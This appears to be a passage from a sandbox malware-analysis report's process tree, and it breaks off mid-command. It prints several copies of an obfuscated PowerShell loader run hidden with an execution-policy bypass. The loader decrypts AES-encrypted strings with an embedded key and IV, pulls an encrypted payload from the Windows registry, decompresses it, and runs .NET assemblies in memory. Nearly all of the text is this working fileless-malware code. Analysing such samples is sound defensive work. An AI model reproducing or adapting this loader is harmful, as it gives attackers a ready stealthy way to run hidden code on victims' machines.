[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        8⤵
        Hide Artifacts: Hidden Window
        
        PID:2236
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2236).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        9⤵
        
        PID:6124
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2236).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        9⤵
        Hide Artifacts: Hidden Window
        
        PID:1412
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2236).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = 